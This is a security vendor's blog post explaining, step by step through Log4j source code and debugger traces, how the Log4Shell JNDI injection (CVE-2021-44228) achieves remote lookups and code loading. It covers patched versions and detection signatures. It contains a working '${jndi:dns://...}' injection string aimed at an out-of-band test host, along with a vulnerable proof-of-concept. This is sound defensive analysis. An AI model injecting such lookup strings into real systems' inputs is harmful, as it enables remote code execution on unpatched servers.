

Inside the code: How the Log4Shell exploit works

news.sophos.com/en-us/2021/12/17/inside-the-code-how-the-log4shell-exploit-works/

December 17, 2021



The critical vulnerability in Apache’s **Log4j** Java-based logging utility (CVE-2021-44228) has been called the “most critical vulnerability of the last decade.” Also known as **Log4Shell**, the flaw has forced the developers of many software products to push out updates or mitigations to customers. And Log4j’s maintainers have published two new versions since the bug was discovered—the second completely eliminating the feature that made the exploit possible in the first place.

As we previously noted, Log4Shell is an exploit of Log4j’s “message substitution” feature—which allowed for programmatic modification of event logs by inserting strings that call for external content. The code that supported this feature allowed for “lookups” using the Java Naming and Directory Interface (JNDI) URLs.

This feature inadvertently made it possible for an attacker to insert text with embedded malicious JNDI URLs into requests to software using Log4j—URLs that resulted in remote code being loaded and executed by the logger. To understand better how dangerous exploits of this feature are, we’ll walk through the code that makes it possible.

How Log4j logging works

Log4j outputs logging events using TTCCLayout: time, thread, category and context information. By default, it uses the following pattern:

```
%r [%t] %-5p %c %x - %m%n
```

Here, %r outputs the time elapsed in milliseconds since the program was started; %t is the thread, %p is priority of the event, %c is the category, %x is the nested diagnostic context associated with the thread generating the event, and %m is for application-supplied messages associated with the event. It's this final field where our vulnerability comes into play.

The vulnerability can be exploited when the "logger.error()" function is called with a message parameter that includes a JNDI URL ("jndi:dns://", "jndi:ldap://", or any of the other JNDI defined interfaces discussed in our previous post). When that URL is passed, a JNDI "lookup" will be called which can lead to remote code execution.

To replicate the vulnerability, we looked at one of the many proofs of concept that have been published, which replicates how many applications interact with Log4j. In the code for logger/src/main/java/logger/App.java in this PoC, we can see that it calls logger.error() with a message parameter:

```
package logger;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class App {
    private static final Logger logger = LogManager.getLogger(App.class);
    public static void main(String[] args) {
        String msg = (args.length > 0 ? args [0] : "");
        logger.error(msg);
    }
}
```

For debugging purposes, we changed the message to a test URL that uses DNS with JNDI (built with the Interactsh tool) to pass it as a parameter to the "logger.error()" function and stepped through the program:



```
rc > main > java > logger > App.java > App > main(String[])
1 package logger;
2
3 import org.apache.logging.log4j.LogManager;
4 import org.apache.logging.log4j.Logger;
5
6 public class App {
7     private static final Logger logger = LogManager.getLogger(App.class);
8     public static void main(String[] args) {
9         String msg = (args.length > 0 ? args[0] : "");
10        msg = "${jndi:dns://c6tt36w2vtc0000wc5mggdpbbuwywwwybb.interactsh.com}";
11        logger.error(msg);
12    }
13 }
```

We can see that after calling “logger.error()” method from “AbstractLogger” class with crafted URL, another method is called which is “logMessage”:

```
AbstractLogger class x (1) launch: sun...
final Message message = LambdaUtil.getMessage(messageSupplier);
final Throwable effectiveThrowable = (throwable == null && message != null)
    ? message.getThrowable()
    : throwable;
logMessageSafely(fqcn, level, marker, message, effectiveThrowable);
}

protected void logMessage(final String fqcn, final Level level, final Marker marker, final Supplier<?> messageSupplier,
    final Throwable throwable) {
    final Message message = LambdaUtil.getMessage(messageSupplier, messageFactory);
    final Throwable effectiveThrowable = (throwable == null && message != null)
        ? message.getThrowable()
        : throwable;
    logMessageSafely(fqcn, level, marker, message, effectiveThrowable);
}

protected void logMessage(final String fqcn, final Level level, final Marker marker, final String message, final Throwable throwable) {
    logMessageSafely(fqcn, level, marker, messageFactory.newMessage(message), throwable); fqcn = "org.apache.logging.log4j.spi.AbstractLogger", level =
}

protected void logMessage(final String fqcn, final Level level, final Marker marker, final String message) {
    final Message msg = messageFactory.newMessage(message);
    logMessageSafely(fqcn, level, marker, msg, msg.getThrowable());
}

protected void logMessage(final String fqcn, final Level level, final Marker marker, final String message,
    final Object... params) {
    final Message msg = messageFactory.newMessage(message, params);
    logMessageSafely(fqcn, level, marker, msg, msg.getThrowable());
}

protected void logMessage(final String fqcn, final Level level, final Marker marker, final String message,
    final Object p0) {
    final Message msg = messageFactory.newMessage(message, p0);
    logMessageSafely(fqcn, level, marker, msg, msg.getThrowable());
}
```

The log.message method creates a message object with the provided URL:

```
@Override
public Message newMessage(final String message, final Object p0, final Object p1, final Object p2, final Object p3,
    final Object p4, final Object p5, final Object p6, final Object p7, final Object p8, final Object p9) {
    return getParameterized().set(message, p0, p1, p2, p3, p4, p5, p6, p7, p8, p9);
}

/**
 * Creates {@link ReusableSimpleMessage} instances.
 *
 * @param message The message String.
 * @return The Message.
 *
 * @see MessageFactory#newMessage(String)
 */
@Override
public Message newMessage(final String message) {
    final ReusableSimpleMessage result = getSimple();
    result.set(message);
    return result;
}

/**
 * Creates {@link ReusableObjectMessage} instances.
 *
 * @param message The message Object.
 * @return The Message.
 *
 * @see MessageFactory#newMessage(Object)
 */
@Override
public Message newMessage(final Object message) {
    final ReusableObjectMessage result = getObject();
    result.set(message);
    return result;
}
```

Next, it calls “processLogEvent” from “LoggerConfig” class, to log the event:

```

    * @param predicate predicate for which LoggerConfig instances to append to.
    * A null value is equivalent to a true predicate.
    */
protected void log(final LogEvent event, final LoggerConfigPredicate predicate) { event = MutableLogEvent@129, predicate = LoggerConfig$LoggerConfigPredi
    if (!isFiltered(event)) { event = MutableLogEvent@129
        processLogEvent(event, predicate); event = MutableLogEvent@129, predicate = LoggerConfig$LoggerConfigPredicate$1@149 "ALL"
    }
}

/**
 * Returns the object responsible for ensuring log events are delivered to a working appender, even during or after
 * a reconfiguration.
 */

```

Then it calls the “append” method from “AbstractOutputStreamAppender” class, which appends the message to the log:

```

    * @param event The LogEvent.
    */
@Override
public void append(final LogEvent event) { event = MutableLogEvent@35
    try {
        tryAppend(event); event = MutableLogEvent@35
    } catch (final AppenderLoggingException ex) {
        error("Unable to write to stream " + manager.getName() + " for appender " + getName(), event, ex);
        throw ex;
    }
}

```

Where the badness happens

This in turns, calls “directEncodeEvent” method:

```

}
}

protected void directEncodeEvent(final LogEvent event) { event = MutableLogEvent@35
    getLayout().encode(event, manager); event = MutableLogEvent@35, manager = OutputStreamManager@63
    if (this.immediateFlush || event.isEndOfBatch()) {
        manager.flush();
    }
}

protected void writeByteArrayToManager(final LogEvent event) {
}

```

The directEncodeEvent method in turn calls the “getLayout().Encode” method, which formats the log message and adds the provided parameter— which is in this case the test exploit URL:

```

/**
 * Returns the ErrorHandler, if any.
 * @return The
 */
@Override
public ErrorHandler return handler
}

/**
 * Returns the
 * @return The
 */
@Override
public Layout<
    Hold Alt key to switch to editor language hover
    return layout; layout = PatternLayout@68 "%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n"
}

/**
 * Returns the name of the Appender.
 */

```

It then creates a new “StringBuilder” Object:

```

/**
 * Formats a logging event to a writer.
 *
 * @param event logging event to be formatted.
 * @return The event formatted as a String.
 */
@Override
public String toSerializable(final LogEvent event) {
    return eventSerializer.toSerializable(event);
}

public void serialize(final LogEvent event, StringBuilder stringBuilder,
    eventSerializer.toSerializable(event, stringBuilder);
}

@Override
public void encode(final LogEvent event, final ByteBufferDestination destination) {
    if (!(eventSerializer instanceof Serializer2)) {
        super.encode(event, destination);
        return;
    }

    final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder());
    eventSerializer = PatternLayout$PatternSerializer@69 "0"
    final Encoder<StringBuilder> encoder = getStringBuilderEncoder();
    encoder.encode(text, destination);
    trimToMaxSize(text);
}

/**
 * Creates a text representation of the specified log event
 * and writes it into the specified StringBuilder.
 *
 * <p>
 * Implementations are free to return a new StringBuilder if they can
 * detect in advance that the specified StringBuilder is too small.
 *
 */
private StringBuilder toText(final Serializer2 serializer, final LogEvent event,

```

StringBuilder calls the “format” method from “MessagePatternConvert” class and parses the supplied URL, it looks for ‘\$’ and ‘{’ to identify the URL:

```

// TODO can we optimize this?
if (config != null && !noLookups) {
    config = DefaultConfiguration@95, noLookups = false
    for (int i = offset; i < workingBuilder.length() - 1; i++) {
        offset = 39, workingBuilder = StringBuilder@62 "04:07:53.978 [main] ERROR logger.App - $
        if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
            final String value = workingBuilder.substring(offset, workingBuilder.length());
            workingBuilder.setLength(offset);
            workingBuilder.append(config.getStrSubstitutor().replace(event, value));
        }
    }
}

```

After that it tries to identify various Name and values which are separated by ‘:’ or ‘-’:

```

50
51
52 if (substitutionInVariablesEnabled
53     && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
54     // found a nested variable start
55     nestedVarCount++;
56     pos += endMatchLen;
57     continue;
58 }
59
60 endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd); endMatchLen = 1, suffixMatcher = StrMatcher$StringMatcher@94 "org.apache
61 if (endMatchLen == 0) { endMatchLen = 1
62     pos++;
63 } else {
64     // found variable end marker
65     if (nestedVarCount == 0) { nestedVarCount = 0
66         String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen); varNameExpr = "jndi:dns://c6tt
67         if (substitutionInVariablesEnabled) {
68             final StringBuilder bufName = new StringBuilder(varNameExpr);
69             substitute(event, bufName, 0, bufName.length());
70             varNameExpr = bufName.toString();
71         }
72         pos += endMatchLen; pos = 62, endMatchLen = 1
73         final int endPos = pos
74         StrMatcher$StringMatcher@95 "org.apache.logging.log4j.core.lookup.StrSubstitutor
75         chars: char[2]@671
76         String varName = varNameExpr;
77         String varDefaultValue = "interactsh.com", varNameExpr = "jndi:dns://c6tt
78         if (valueDelimiterMatcher != null) { valueDelimiterMatcher = StrMatcher$StringMatcher@95 "org.apache.logging.log4j.core.lookup.Str
79             final char [] varNameExprChars = varNameExpr.toCharArray();
80             int valueDelimiterMatchLen = 0;
81             for (int i = 0; i < varNameExprChars.length; i++) {
82                 // If there's any nested variable when nested variable substitution disabled, then stop resolving name and default value
83                 if (!substitutionInVariablesEnabled
84                     && prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
85                     break;
86                 }
87             }
88         }
89         if (valueEndDelimiterMatcher != null) {

```

Then it calls for “resolveVariable” method from “StrSubstitutor” class which will identify the Variables, it can be any of the following:


```
{date, java, marker, ctx, lower, upper, jndi, main, jvrunargs, sys, env, log4j}
```

The code then calls the “lookup” method from the “Interpolator” class which will check the service associated with the variable (in this case, “jndi”):

```
/**
 * Resolves the specified variable. This implementation will try to extract
 * a variable prefix from the given variable name (the first colon (':') is
 * used as prefix separator). It then passes the name of the variable with
 * the prefix stripped to the lookup object registered for this prefix. If
 * no prefix can be found or if the associated lookup object cannot resolve
 * this variable, the default lookup object will be used.
 *
 * @param event The current LogEvent or null.
 * @param var the name of the variable whose value is to be looked up
 * @return the value of this variable or <b>null</b> if it cannot be
 * resolved
 */
@Override
public String lookup(final LogEvent event, String var) { event = MutableLogEvent@23, var = "jndi:dns://c6tt36w2vtc0000wc5mggdppbuwyyyyyb.interactsh.com"
    if (var == null) {
        return null;
    }

    final int prefixPos = var.indexOf(PREFIX_SEPARATOR); prefixPos = 4, var = "jndi:dns://c6tt36w2vtc0000wc5mggdppbuwyyyyyb.interactsh.com", PREFIX_SEPA
    if (prefixPos >= 0) { prefixPos = 4
        final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US); prefix = "jndi", var = "jndi:dns://c6tt36w2vtc0000wc5mggdppbuwyyyyyb.if
        final String name = var.substring(prefixPos + 1); name = "dns://c6tt36w2vtc0000wc5mggdppbuwyyyyyb.interactsh.com", var = "jndi:dns://c6tt36w2vtc
        final StrLookup lookup = strLookupMap.get(prefix); strLookupMap = HashMap@121 size=12, prefix = "jndi"
        if (lookup instanceof ConfigurationAware) {
            ((ConfigurationAware) lookup).setConfiguration(configuration);
        }
        String value = null;
        if (lookup != null) {
            value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
        }

        if (value != null) {
            return value;
        }
        var = var.substring(prefixPos + 1);
    }
}
```

Finding “jndi”, it calls the “lookup” method from the “JndiManager” class, which evaluates the value of the JNDI resource:

```
@Plugin(name = "jndi", category = StrLookup.CATEGORY)
public class JndiLookup extends AbstractLookup {

    private static final Logger LOGGER = StatusLogger.getLogger();
    private static final Marker LOOKUP = MarkerManager.getMarker("LOOKUP");

    /** JNDI resource path prefix used in a J2EE container */
    static final String CONTAINER_JNDI_RESOURCE_PATH_PREFIX = "java:comp/env/";

    /**
     * Looks up the value of the JNDI resource.
     * @param event The current LogEvent (is ignored by this StrLookup).
     * @param key the JNDI resource name to be looked up, may be null
     * @return The String value of the JNDI resource.
     */
    @Override
    public String lookup(final LogEvent event, final String key) {
        if (key == null) {
            return null;
        }
        final String jndiName = convertJndiName(key); jndiName = "dns://c6tt36w2vtc0000wc5mggdppbuwyyyyyb.interactsh.com"
        try (final JndiManager jndiManager = JndiManager.getJndiManager(jndiName); jndiManager = JndiManager@134 "JndiManager [context=javax.naming.InitialContext@192c
            return Objects.toString(jndiManager.lookup(jndiName), null); jndiManager = JndiManager@134 "JndiManager [context=javax.naming.InitialContext@192c
        ) catch (final NamingException e) {
            LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);
            return null;
        }
    }

    /**
     * Convert the given JNDI name to the actual JNDI name to use.
     * Default implementation applies the "java:comp/env/" prefix
     * unless other scheme like "java:" is given.
     * @param jndiName The name of the resource.
     * @return The fully qualified name to look up.
     */
}
```

After that, it calls for “getURLorDefaultInitCtx” from “InitialContext” class. This is where it creates the request that will be sent to the JNDI interface to retrieve context, depending on the URL provided. This is where the exploit begins to kick in. In this case, the URL is for

DNS:

```
@see javax.naming.spi.NamingManager#getURLContext
protected Context getURLorDefaultInitCtx(String name) throws NamingException {
    if (NamingManager.hasInitialContextFactoryBuilder()) {
        return getDefaultInitCtx();
    }
    String scheme = getURLScheme(name);
    if (scheme != null) {
        Context ctx = NamingManager.getURLContext(scheme, myProps);
        if (ctx != null) {
            return ctx;
        }
    }
    return getDefaultInitCtx();
}
```

In the case of a DNS URL, as this fires, we can see a DNS query to the provided URL with Wireshark:

```
15:46:36.407118 IP (tos 0x0, ttl 64, id 56296, offset 0, flags [DF], proto UDP (17), length 94)
  192.168.201.103.40182 > one.one.one.one.domain: [udp sum ok] 17759+ A? c6tt36w2vtc0000wc5mggdpbwuyyyyyb.interactsh.com. (66)
15:46:36.407118 IP (tos 0x0, ttl 64, id 56295, offset 0, flags [DF], proto UDP (17), length 94)
  192.168.201.103.40182 > one.one.one.one.domain: [udp sum ok] 8529+ AAAA? c6tt36w2vtc0000wc5mggdpbwuyyyyyb.interactsh.com. (66)
15:46:36.478643 IP (tos 0x0, ttl 58, id 9285, offset 0, flags [DF], proto UDP (17), length 118)
  one.one.one.one.domain > 192.168.101.203.40182: [udp sum ok] 17759+ q: A? c6tt36w2vtc0000wc5mggdpbwuyyyyyb.interactsh.com. A 184.248.51.21 (82)
15:46:36.738669 IP (tos 0x0, ttl 58, id 9245, offset 0, flags [DF], proto UDP (17), length 94)
  one.one.one.one.domain > 192.168.101.203.40182: [udp sum ok] 8529+ q: AAAA? c6tt36w2vtc0000wc5mggdpbwuyyyyyb.interactsh.com. 0/0/0 (66)
15:46:36.838154 IP (tos 0x0, ttl 64, id 29316, offset 0, flags [DF], proto UDP (17), length 45)
```

(This is a test URL, and not actually malicious)

If URL is 'jndi:ldap://' it calls another method from "LdapURLContext" class to check if URL has "queryComponents":

```
Override context operations.
* Test for presence of LDAP URL query components in the name argument.
* Query components are permitted only for search operations and only
* when the name has a single component.
*/
public Object lookup(String name) throws NamingException {
    if (LdapURL.hasQueryComponents(name)) {
        throw new InvalidNameException(name);
    } else {
        return super.lookup(name);
    }
}
public Object lookup(Name name) throws NamingException {
```

After that it calls "lookup" method in "LdapURLContext" class, "name" variable here contains the ldap URL:

```
public Object lookup(String name) throws NamingException {
    if (LdapURL.hasQueryComponents(name)) {
        throw new InvalidNameException(name);
    } else {
        return super.lookup(name);
    }
}
```

This in turn connects with the ldap " provided:

```
Dec 13, 2021 3:18:05 AM null
INFO: [13/Dec/2021:03:18:05 -0500] CONNECT conn=7 from="127.0.0.1:38814" to="127.0.0.1:1389"
Dec 13, 2021 3:18:05 AM null
INFO: [13/Dec/2021:03:18:05 -0500] BIND REQUEST conn=7 op=0 msgID=1 version=3 dn="" authType="SIMPLE"
Dec 13, 2021 3:18:05 AM null
INFO: [13/Dec/2021:03:18:05 -0500] BIND RESULT conn=7 op=0 msgID=1 resultCode=0 etime=0.064
```

Then "flushBuffer" method will be called from "OutputStreamManager" class, here 'buf' contains the data returned from LDAP server, in this case the "mmm...." string we see below:

```

279 protected synchronized void flushBuffer(final ByteBuffer buf) { buf = HeapByteBufferQ171:"java.nio.HeapByteBuffer[pos=0:11e539:cap=8192]
280 ((Buffer) buf).flip(); buf = HeapByteBufferQ171:"java.nio.HeapByteBuffer[pos=0:11e539:cap=8192]
281 try {
282     if (buf.remaining() > 0) { buf = HeapByteBufferQ171:"java.nio.HeapByteBuffer[pos=0:11e539:cap=8192]
283         writeDestination(buf.array(), buf.arrayOffset() + buf.position(), buf.remaining()); buf = HeapByteBufferQ171:"java.nio.HeapByteBuffer[pos=
284     } finally {
285         buf.clear();
286     }
287 }
288 }

```

Looking at the packet capture in Wireshark, we see the request has the following bytes:

0070	6e 67 2e 53 74 72 69 6e 67 30 82 02 16 04 12 6a	ng.Strin g0.....j
0080	61 76 61 53 65 72 69 61 6c 69 7a 65 64 44 61 74	avaSerial izedDat
0090	61 31 82 01 fe 04 82 01 fa ac ed 00 05 74 01 f3	a1..... .t..
00a0	0a 20 20 20 20 22 6d 6d 0a 20 20 20 20 6d 6d 6d	· "mm · mmm
00b0	6d 20 20 20 20 20 20 20 20 20 22 6d 20 20 20	m "m
00c0	20 20 20 20 20 20 20 20 22 6d 6d 6d 6d 6d 0a 20	· "mmmm·
00d0	20 22 22 20 20 20 20 23 20 20 20 20 20 20 20 20	" " #
00e0	20 6d 22 20 20 20 20 20 20 20 20 20 20 20 20 20	m" #
00f0	20 20 22 0a 20 20 20 20 20 20 20 20 23 20 20 20	"· #
0100	20 20 20 20 20 6d 23 6d 20 20 20 20 20 20 20 20	m#m
0110	20 20 6d 0a 20 20 20 20 20 20 20 23 20 20 20 20	m· #
0120	20 20 20 20 6d 22 20 20 23 20 20 20 6d 20 20 20	m" # m
0130	20 20 22 6d 20 20 20 20 20 6d 0a 20 20 20 20 20	"m m·
0140	6d 22 20 20 20 20 20 20 20 20 6d 22 20 20 20 22	m" "m" "
0150	6d 6d 22 20 20 20 20 20 20 20 20 22 22 22 22 22	mm" "" "" ""
0160	0a 20 20 20 6d 20 20 20 20 20 20 20 20 20 20 20	· m
0170	20 6d 20 20 20 6d 20 20 20 20 20 20 20 20 20 20	m m
0180	6d 20 20 20 20 20 20 20 20 20 20 6d 20 20 20 20	m m
0190	20 6d 0a 20 20 6d 6d 23 20 20 20 20 20 20 20 20	m· mm#
01a0	20 20 20 20 23 20 23 20 22 6d 20 20 20 20 20 20	# # "m

This is the serialized data and this will be displayed by the client as we can see below which shows that the vulnerability was exploited, notice the "[main] ERROR logger.App" string in the message followed by data:

```

21:24:09.985 [main] ERROR logger.App -
"mm
mmmm "m "mmmm
" " # "m" "
# "m#m m "m m
# "m" # m "m m
m" m" "mm" "" ""
m m m m m
mm# # # "m mm# # # "m
m"# " ## # "m#" ## #
"#mm "m # # "#mm "m # #
# # # # # #
"mm" m" "mm" m"

```

The fix is in

All of this was possible because in all versions of Log4j 2 up to version 2.14 (excluding security release 2.12.2), JNDI support was not restricted in terms of what names could be resolved. Some protocols were unsafe or can allow remote code execution. Log4j 2.15.0

restricted JNDI to only LDAP lookups, and those lookups are limited to connecting to Java primitive objects on the local host by default.

But the fix in version 2.15.0 left the vulnerability partially unresolved—for implementations with “certain non-default” layout patterns for Log4j, including those with context lookups (such as “\${ctx:loginId}”) or a Thread Context Map pattern (“%X”, “%mdc”, or “%MDC”), it was still possible to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. In the latest releases, all lookups have been disabled by default. This shuts the JNDI feature down entirely, but it secures Log4j against remote exploitation.

Conclusion

Log4j is a very popular logging framework, and used by a significant number of popular software products, cloud services and other applications. The vulnerabilities in versions prior to 2.15.0 make it possible for a malicious actor to retrieve data from an affected application or its underlying operating system, or to execute Java code that runs with the permissions given to the Java runtime (Java.exe on Windows systems). This code can execute commands and scripts against the local operating system, which can in turn download additional malicious code and provide a route for elevation of privilege and persistent remote access.

While version 2.15.0 of Log4j, pushed out at the time the vulnerability became public, fixes these issues, it still leaves systems vulnerable in some cases to denial of service attacks and exploits (fixed at least partially by 2.16.0). On December 18, a third new version, 2.17.0, was released to prevent recursive attacks that could cause a denial of service). Organizations should evaluate what versions of Log4j are in their internally developed applications, and patch to the most recent versions (2.12.2 for Java 7 and 2.17.0 for Java 8), and apply software patches from vendors as they become available.

Sophos provides coverage for network behaviors and payloads associated with this vulnerability, as detailed below:

AV:

- Troj/JavaDI-AAN
- Troj/Java-AIN
- Troj/BatDI-GR
- Mal/JavaKC-B
- XMRig Miner (PUA)
- Troj/Bckdr-RYB
- Troj/PSDI-LR
- Mal/ShellDI-A
- Linux/DDoS-DT

- Linux/DDoS-DS
- Linux/Miner-ADG
- Linux/Miner-ZS
- Linux/Miner-WU
- Linux/Rootkit-M

IPS:

Sophos Firewall:

SIDs : 2306426, 2306427, 2306428, 58722, 58723, 58724, 58725, 58726, 58727, 58728, 58729, 58730, 58731, 58732, 58733, 58734, 58735, 58736, 58737, 58738, 58739, 58740, 58741, 58742, 58743, 58744, 58751, 58784, 58785, 58786, 58787, 58788, 58789, 58790, 58795

Sophos Endpoint

SIDs: 2306426, 2306427, 2306428, 2306438, 2306439, 2306440, 2306441

Sophos SG UTM

SIDs: 58722, 58723, 58724, 58725, 58726, 58727, 58728, 58729, 58730, 58731, 58732, 58733, 58734, 58735, 58736, 58737, 58738, 58739, 58740, 58741, 58742, 58743, 58744, 58751, 58784, 58785, 58786, 58787, 58788, 58789, 58790, 58795